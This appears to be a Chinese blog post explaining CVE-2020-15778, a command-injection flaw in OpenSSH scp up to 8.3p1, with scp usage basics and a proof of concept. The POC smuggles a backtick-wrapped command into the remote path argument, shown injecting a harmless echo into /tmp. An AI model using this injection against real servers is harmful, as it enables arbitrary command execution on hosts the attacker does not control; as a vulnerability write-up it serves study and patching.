(CVE-2020-15778)Openssh 命令注入漏洞

前言

2020年6月9日,研究人员Chinmay Pandya在Openssh中发现了一个漏洞,于7月18日公开。OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。深信服安全研究团队依据漏洞重要性和影响力进行评估,作出漏洞通告。

漏洞影响

OpenSSH =< 8.3p1

SCP基础介绍

上传文件

scp C:\ST\CobaltStrike\CobaltStrike.exe root@123.56.150.172:/home/

上传文件夹

scp -r C:\ST\CobaltStrike root@123.56.150.172:/home/

下载文件

scp root@123.56.150.172:/home/CobaltStrike/CobaltStrike.jar C:\Users\17107\Desktop\

下载文件夹

scp -r root@123.56.150.172:/home/CobaltStrike/ C:\Users\17107\Desktop\

漏洞利用

POC

scp 1.txt root@<IP地址>:'`<需要执行的命令>`/tmp/1.txt'

1.查看版本是否存在漏洞

ssh -V


2.查看文件夹并不存在1.txt和123.txt文件

3.执行EXP尝试注入echo命令并写入123.txt文件
scp 1.txt root@192.168.245.128:'`echo 123>/tmp/123.txt`/tmp/1.txt'

4.查看文件结果,scp和echo同时执行成功

posted @   追得上的梦想  阅读(704)  评论(0编辑  收藏  举报
编辑推荐:
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示